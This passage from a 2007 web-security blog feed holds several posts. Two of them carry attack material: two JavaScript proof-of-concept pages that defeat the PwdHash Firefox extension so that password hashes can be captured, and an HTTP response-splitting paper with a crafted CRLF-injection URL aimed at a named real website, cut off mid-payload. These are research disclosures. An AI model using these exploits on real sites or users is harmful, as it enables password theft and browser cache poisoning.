education.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-7975808341424040452?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/7975808341424040452/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=7975808341424040452' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/7975808341424040452'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/7975808341424040452'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/bookmarklets-are-not-secure.html' title='Bookmarklets are NOT secure'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-7272887490790255847</id><published>2007-02-09T21:18:00.000+11:00</published><updated>2007-02-09T21:31:31.457+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='General Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>XSSed.com - XSS Archive w/ Mirror</title><content type='html'>One thing that I've thought web app sec was missing that network sec had was a defacement/attack archive w/ mirror, especially after &lt;a href="http://www.darkreading.com/document.asp?doc_id=104739"&gt;Acunetix decided to pretend that the flaws that had been found and posted on sla.ckers.org had never existed&lt;/a&gt;, something like Zone-h, but for XSS exploits.&lt;br /&gt;&lt;br /&gt;Well, today I found a site called &lt;a href="http://www.xssed.com/"&gt;XSSed.com&lt;/a&gt; which contains an XSS attack archive, with a mirror, which greatly resembles zone-h, but that can only be good since no-one has to figure out a new interface.&lt;br /&gt;&lt;br /&gt;Personally I think we should give them our support, because without any way to verify vulnerability claims vendors will still be able to sweep things under the rug, and lie their way though everything. And an unbiased 3rd party is probably a great way to do so.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-7272887490790255847?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/7272887490790255847/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=7272887490790255847' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/7272887490790255847'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/7272887490790255847'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/xssedcom-xss-archive-w-mirror.html' title='XSSed.com - XSS Archive w/ Mirror'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-363934438218391542</id><published>2007-02-04T22:04:00.000+11:00</published><updated>2007-02-04T22:41:27.006+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='General Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>This Week in Sec</title><content type='html'>Excuse the bad pun of a title, but I couldn't come up with anything better. Anyway, as with my last posting of links, its not exactly a week, its probably closer to "the interesting links I've found since I lasted posted a post of links". So here goes:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.awarenetwork.org/etc/zine1/"&gt;.aware alpha zine&lt;/a&gt;&lt;br /&gt;The people over at awarenetwork.org have released an ezine, it has nothing to do with web apps, but its still quite good. To quote the front page:&lt;br /&gt;&lt;blockquote&gt;   Hello and  welcome to the  first .aware  eZine  ever to exist  on planet&lt;br /&gt;   earth. Basically, with all the h0no  wannabes out there and phrack down,&lt;br /&gt;   I thought there ought to be a little bit more actual infotainment spread&lt;br /&gt;   into  cyperspace.  This  way,  maybe  not all of us  will be driven into&lt;br /&gt;   criminal insanity by paranoid hallucinations.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                                Enjoy the zine.&lt;br /&gt;&lt;br /&gt;                  PS: We're sorry for causing all that cancer.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;a href="http://www.cip.physik.uni-muenchen.de/~wwieser/misc/captcha/"&gt;CAPTCHA Recognition via Averaging&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;This article describes how certain types of captchas (such as the ones used by a German online-banking site) can be automatically recognized using software. The attack does not recognize one particular captcha itself but exploits a design error allowing to average multiple captchas containing the same information.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This was submitted to bugtraq, and soyou can find the bit of discussion that went on about that here: &lt;a href="http://seclists.org/bugtraq/2007/Jan/0648.html"&gt;http://seclists.org/bugtraq/2007/Jan/0648.html&lt;/a&gt; (Note; this isn't just the single post, there are replies) and because it got separated between the two months, here: &lt;a href="http://seclists.org/bugtraq/2007/Feb/0000.html"&gt;http://seclists.org/bugtraq/2007/Feb/0000.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;a href="http://passivemode.net/updates/2007/2/1/vista-speech-command-exposes-remote-exploit.html"&gt;Vista Speech Command Exposes Remote Exploit&lt;/a&gt;&lt;br /&gt;Essentially some people found out that Vista doesn't try and do any cancelation of the audio which comes from the speakers to the microphone, and so any commands your computer plays through the speakers will be picked up, and if you have the voice commands activated, will execute.&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;a href="http://www.crypto.com/blog/cryptolinguistics/"&gt;I didn't break it!&lt;/a&gt;&lt;br /&gt;Matt Blaze posted a very good entry about how (crypto) researchers are often described as having cracked codes, and how this taints research. I think this also applies to security research just as much, except for the fact that generally most people say security researchers "broke" something rather than they "cracked" something. He also has another interesting post entitled &lt;a href="http://www.crypto.com/blog/psychic_cryptanalysis/"&gt;James Randi owes me a million dollars&lt;/a&gt; which I think people should also read.&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;And in case you &lt;i&gt;somehow&lt;/i&gt; managed to miss it:&lt;br /&gt;&lt;a href="http://sudolabs.com/forum/index.php"&gt;Sudo Labs is up!&lt;/a&gt;&lt;br /&gt;Sudo Labs is an attempt to create an R&amp;D oriented forum where people can come to discuss any ideas they have about security in an environment which focuses on new ideas and techniques, etc rather than explaining old thoughts. Having said that those who aren't experts are also welcomed, just asked to contribute rather than to clog the board with questions about known topics, there are many other boards which will teach you about security.&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;So that about wraps it up for interesting things I've found over the past week in regards to security, hopefully next time I'll have a better title, but I somehow doubt it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-363934438218391542?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/363934438218391542/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=363934438218391542' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/363934438218391542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/363934438218391542'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/this-week-in-sec.html' title='This Week in Sec'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-4351417503962801542</id><published>2007-02-03T09:37:00.000+11:00</published><updated>2007-02-03T09:44:14.692+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySpace'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='General Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Samy Sued and Sentanced</title><content type='html'>Well, today we've found out that the creater of the MySpace Samy worm has been sued by MySpace and sentanced: &lt;a href="http://www.scmagazine.com.au/news/45262,myspace-superworm-creator-sentenced-to-probation-community-service.aspx"&gt;http://www.scmagazine.com.au/news/45262,myspace-superworm-creator-sentenced-to-probation-community-service.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I'm honestly lost for words, that comes as quite a shock to me.&lt;br /&gt;&lt;br /&gt;Now clearly he has done something wrong (and now it seems - illegal), but I don't think anyone expected this. Especially considering that while it did spread, it was completely non-malicious.&lt;br /&gt;&lt;br /&gt;For the moment I'm safe since I've never attacked MySpace, but frankly, I'm just worried that they're going to come after people who have disclosed vulnerabilities in MySpace next.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-4351417503962801542?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/4351417503962801542/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=4351417503962801542' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4351417503962801542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4351417503962801542'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/samy-sued-and-sentanced.html' title='Samy Sued and Sentanced'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-4708875463637285426</id><published>2007-02-02T20:16:00.000+11:00</published><updated>2007-06-09T16:01:53.063+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Extension Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>Attacking the PwdHash Firefox Extension</title><content type='html'>Well, SudoLabs got taken down since almost no-one was using it, so now troopa is using the domain for his blog, so I'm moving all the content here:&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;A while ago I saw an interesting paper/implementation of a way to hash and salt user passwords by domain, so that (I assume) phishing attacks would not be able to steal users' passwords because they are salted with the phishing domain rather than the targeted domain. You can find more info here: &lt;a href="https://www.pwdhash.com/"&gt;https://www.pwdhash.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you read their paper, and the comments in the extension you'll see that they've got pretty much anything you can think of covered. One of the things they haven't been able to stop has been Flash based sniffers, because Javascript extensions don't have any control over 3rd party plugins.&lt;br /&gt;&lt;br /&gt;But I have come up with a way to circumvent certain protections and possibly another attack.&lt;br /&gt;&lt;br /&gt;To protect against context switching attacks when a user presses the @@ combination or the F2 key into a password field the context cannot be changed without alerting the user if there are less than 5 additional characters.&lt;br /&gt;&lt;br /&gt;This is decent protection since you cannot steal the first 5 letters of a user's password, and since user passwords aren't particularly long those first 5 characters are vitally important.&lt;br /&gt;&lt;br /&gt;But the extension developers made a few fatal mistakes - they allow the page to receive events of a user pressing the @ key (they do not allow the page to get the F2 key), and they also check how many characters there are in the text box by checking the DOM, and since we are not restricted from changing the DOM we can easily change the contents of the password box.&lt;br /&gt;&lt;br /&gt;So what we can do is; detect two presses of the @ key, quickly change the value of the password box to testing or some similar string which is more than 5 chars long, set the focus to another element, and then change the value of the password box to two @ signs, and put the user back in place. you get a little flicker, but most users will discount that, anyway; here's an example:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script language="javascript"&amp;gt;&lt;br /&gt;&lt;br /&gt;var text = document.createElement('div');&lt;br /&gt;document.body.appendChild(text);&lt;br /&gt;var last = null;&lt;br /&gt;&lt;br /&gt;document.onkeypress = function (e) {&lt;br /&gt;&lt;br /&gt;var key = String.fromCharCode(e.charCode);&lt;br /&gt;if (last == '@' &amp;&amp; key == '@') {&lt;br /&gt;   var pb = document.getElementById("pass");&lt;br /&gt;   pb.value = '@@testing';&lt;br /&gt;   window.setTimeout("context_switch ();", 1);&lt;br /&gt;}&lt;br /&gt;text.innerHTML = text.innerHTML + key;&lt;br /&gt;last = key;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function context_switch () {&lt;br /&gt;   var pb = document.getElementById("pass");&lt;br /&gt;   var tb = document.getElementById("text");&lt;br /&gt;   tb.focus();&lt;br /&gt;   pb.focus();&lt;br /&gt;   pb.value = '@@';&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;form&amp;gt;&lt;br /&gt;&amp;lt;input id=pass type=password&amp;gt;&lt;br /&gt;&amp;lt;input id=text type=password style=visibility:hidden&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Another thing Firefox allows you to do is create events, which can be sent to the DOM, and for some reason they do not go through extensions, this is a sort of double edged sword because while we cannot simulate a user typing to an extension, the extension is not aware of us sending events to the DOM.&lt;br /&gt;&lt;br /&gt;And since the extension developers are sort of using the password box to store the password (the password box contains @@ABCDEFGH...etc which get mapped to the text you entered by the extension when they're computing the hash) we can insert text into the password box and have it included in the hash, and since we can inject the letters ABCD, etc, we can conduct an attack where we know that say each letter is repeated 3 times (by detecting keyboard events and then sending two of those events to the textbox again), this isn't a real attack atm since I haven't looked at the hashing algorithm, but it should make any cryptanalysis easier if we can repeat any number of letters any number of times.&lt;br /&gt;&lt;br /&gt;Also, if we think we can get the user to keep on entering their password over and over again, we can just replace the textbox content with say @@AAAAA or @@BBBBB or @@CCCCC or similar so we can get a hash of a single character repeated, and then have a simple 256 value lookup table.&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;Ok, I figured out a way to defeat the fact that we can't detect the F2 key being pressed.&lt;br /&gt;&lt;br /&gt;It does have some false positives, but this is just to show that an attack is still possible.&lt;br /&gt;&lt;br /&gt;Anyway, what we do is detect when we get sent an A, we then check that the length of the text in the password box is &gt; 0 and if it is, we send 4 As to the password box, and swap the context. And record some data, and all we need is a 256 value lookup table. Anyway, here's the PoC:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script language="javascript"&amp;gt;&lt;br /&gt;&lt;br /&gt;var text = document.createElement('div');&lt;br /&gt;document.body.appendChild(text);&lt;br /&gt;&lt;br /&gt;var enc0 = null;&lt;br /&gt;var enc1 = null;&lt;br /&gt;&lt;br /&gt;document.onkeypress = function (e) {&lt;br /&gt;&lt;br /&gt;   var key = String.fromCharCode(e.charCode);&lt;br /&gt;   if (key == 'A') {&lt;br /&gt;      var pb = document.getElementById("pass");&lt;br /&gt;      window.setTimeout ("test_n_send();", 1);&lt;br /&gt;   }&lt;br /&gt;   text.innerHTML = text.innerHTML + key;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function test_n_send() {&lt;br /&gt;   var pb = document.getElementById("pass");&lt;br /&gt;   var tb = document.getElementById("text");&lt;br /&gt;   if (pb.value.length &amp;gt; 0) {&lt;br /&gt;      send4A();&lt;br /&gt;      enc0 = pb.value;&lt;br /&gt;      tb.focus();&lt;br /&gt;      enc1 = pb.value;&lt;br /&gt;      pb.focus();&lt;br /&gt;&lt;br /&gt;      var enc0b = document.getElementById("enc0");&lt;br /&gt;      enc0b.value = enc0;&lt;br /&gt;&lt;br /&gt;      var enc1b = document.getElementById("enc1");&lt;br /&gt;      enc1b.value = enc1;&lt;br /&gt;&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function send4A() {&lt;br /&gt;&lt;br /&gt;   var i;&lt;br /&gt;&lt;br /&gt;   for (i=0;i&amp;lt;4;i++) {&lt;br /&gt;      var evt = document.createEvent("KeyboardEvent");&lt;br /&gt;      evt.initKeyEvent(                                                                                     &lt;br /&gt;                    "keypress",        //  in DOMString typeArg,                                                           &lt;br /&gt;                     false,             //  in boolean canBubbleArg,                                                       &lt;br /&gt;                     false,             //  in boolean cancelableArg,                                                       &lt;br /&gt;                     null,             //  in nsIDOMAbstractView viewArg,  Specifies UIEvent.view. This value may be null.     &lt;br /&gt;                     false,            //  in boolean ctrlKeyArg,                                                               &lt;br /&gt;                     false,            //  in boolean altKeyArg,                                                       &lt;br /&gt;                     false,            //  in boolean shiftKeyArg,                                                     &lt;br /&gt;                     false,            //  in boolean metaKeyArg,                                                       &lt;br /&gt;                     0,                //  in unsigned long keyCodeArg,                                                     &lt;br /&gt;                     65);              //  in unsigned long charCodeArg);&lt;br /&gt;   &lt;br /&gt;      var pb = document.getElementById("pass");&lt;br /&gt;      pb.dispatchEvent(evt);&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;form&amp;gt;&lt;br /&gt;&amp;lt;input id=pass type=password&amp;gt;&lt;br /&gt;&amp;lt;input id=text type=password style=visibility:hidden&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;&amp;lt;input id=enc0&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;&amp;lt;input id=enc1&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-4708875463637285426?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/4708875463637285426/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=4708875463637285426' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4708875463637285426'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/4708875463637285426'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/02/attacking-pwdhash-firefox-extension.html' title='Attacking the PwdHash Firefox Extension'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-2802146343120177166</id><published>2007-02-01T19:29:00.000+11:00</published><updated>2007-02-14T18:08:46.214+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>HTTP Response Splitting Attacks Without Proxies</title><content type='html'>I've had this paper sitting around collecting dust for so long, but I've been keeping it for a reason, me and a friend (troopa) are trying to start a hacker/infosec community focused around Research and Development of ideas and attacks, rather than simply a teaching and learning ground for people, because there are plenty of those already in existence, but very few places where people come together to collaborate on new ideas, and so I present to you &lt;b&gt;&lt;a href="http://sudolabs.com/forums/"&gt;Sudo Labs&lt;/a&gt;&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;I initially posted the full paper on Sudo Labs here: &lt;a href="http://sudolabs.com/forum/viewtopic.php?t=3"&gt;http://sudolabs.com/forum/viewtopic.php?t=3&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;But now that I've directed a bit of traffic there (that really didn't help), I'm posting it here as well:&lt;br /&gt;&lt;br /&gt;[EDIT (14/02/07)]: I've been informed, that my introduction was completely wrong and may have mislead people, and so I've replaced it.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;HTTP Response Splitting Attacks Without Proxies&lt;/h4&gt;&lt;br /&gt;&lt;i&gt;By kuza55&lt;/i&gt;&lt;br /&gt;of &lt;a href="http://sodulabs.com/forum/"&gt;Sudo labs&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Contents:&lt;br /&gt;&lt;br /&gt;1.0 Introduction&lt;br /&gt;2.0 The Attack&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2.1 Theory&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2.2 Browser Inconsistencies&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2.3 Working Exploits&lt;br /&gt;3.0 Implementation Notes&lt;br /&gt;4.0 Conclusion&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;1.0 Introduction&lt;/h5&gt;&lt;br /&gt;At the moment, the only know technique (AFAIK - Correct me if I'm wrong) for attacking the browser cache to alter the cache for pages other than the one vulnerable to HTTP Response Splitting is the One proposed by Amit Klein on page 19-21 of this paper: &lt;a href="http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf"&gt;http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;It utilises the fact that IE operates on only 4 connections to request pages from a single server.&lt;br /&gt;&lt;br /&gt;This paper will illustrate something similar.&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;2.0 The Attack&lt;/h5&gt;&lt;br /&gt;As many people before me have discovered; if you can force the browser to make a request for a page on the connection you control, you can replace the contents of the page.&lt;br /&gt;&lt;br /&gt;The problem has been to force the browser to do just that.&lt;br /&gt;&lt;br /&gt;But what if we ask nicely?&lt;br /&gt;&lt;br /&gt;&lt;h5&gt;2.1 Theory&lt;/h5&gt;&lt;br /&gt;If in our doctored response we redirect the user to another page on our site and we send the browser the "Keep-Alive: timeout=300" and "Connection: Keep-Alive" headers the browser does exactly what we asked it and sends the request on that connection (except Opera 9, which doesn't want to - Opera 8 does).&lt;br /&gt;&lt;br /&gt;The next thing we need to do is to send the browser a "Content-Length: 0" header so that it thinks its received everything its going to from its first request and sends the second request straight away.&lt;br /&gt;&lt;br /&gt;We then send the browser a couple of new lines, and then lots of extraneous spaces and then a new line as well.&lt;br /&gt;&lt;br /&gt;This works much like a NOP sled in Buffer Overflow attack, because this way we can prepare a landing zone for the browser which it will just ignore before reading the actual response, this gives us greater flexibility in regards to browser inconsistencies and network latency issues.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;2.2 Browser Inconsistencies&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;Sadly not all the browsers react the same way, and so not everything can be done easily, here's a little chart at what I've been able to produce in various browsers so far:&lt;br /&gt;&lt;br /&gt;1 = Second request made on the same connection.&lt;br /&gt;2 = Second Response can be injected into&lt;br /&gt;3 = Headers can be injected into the second response&lt;br /&gt;4 = Content-Length Header is strictly obeyed&lt;br /&gt;&lt;br /&gt;+ = yes&lt;br /&gt;~ = Sort of&lt;br /&gt;- = No&lt;br /&gt;x = N/A&lt;br /&gt;&lt;br /&gt;-----------------&lt;br /&gt;|Browser|1|2|3|4|&lt;br /&gt;-----------------&lt;br /&gt;|Opera 8|+|+|+|+|&lt;br /&gt;-----------------&lt;br /&gt;|IE 6   |+|+|+|~|&lt;br /&gt;-----------------&lt;br /&gt;|Firefox|+|+|-|x|&lt;br /&gt;-----------------&lt;br /&gt;|Opera 9|-|-|-|x|&lt;br /&gt;-----------------&lt;br /&gt;&lt;br /&gt;So essentially I've only really been able to exploit the attack's full potential under IE 6 and Opera 8. So getting this to work under Firefox (and possibly Opera 9) is for people with more experience in how browser work with the network.&lt;br /&gt;&lt;br /&gt;The issue with Internet Explorer is that it reads things in 1024 byte blocks, and so any Content-Length headers which to not fall on that boundary will be rounded up to the nearest kilobyte, but that's not much of an issue.&lt;br /&gt;&lt;br /&gt;Internet Explorer also has a 2047 byte limitation on query strings, so my original design of using new lines doesn't work because they get encoded in the query string to 3 times their length (6 bytes - %0d%0a - instead of two), and so spaces had to be used as the white spaces to be ignored.&lt;br /&gt;&lt;br /&gt;For some reason I can't seem to get Firefox to use the headers I provide, but you can easily inject into the top of the page, and simply make the browser not render the rest by using an unclosed div tag with a display: none style attribute.&lt;br /&gt;&lt;br /&gt;Opera 9 (as I mentioned earlier) though, just doesn't want to make the request on the same socket, and so I haven't been able to get this attack to work.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;2.3 Working Exploits&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;Now, onto the interesting part - Working Exploits.&lt;br /&gt;&lt;br /&gt;This *works* (To the extent explained above) in both IE and Firefox:&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="color: #f63;"&gt;http://www.dataplace.org/redir.html?url=index.html%0d%0aKeep-Alive:&amp;nbsp;timeout=60%0d%0aConnection:&amp;nbsp;Keep-Alive%0d%0aContent-Type:&amp;nbsp;text/html%0d%0aContent-Length:&amp;nbsp;0%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;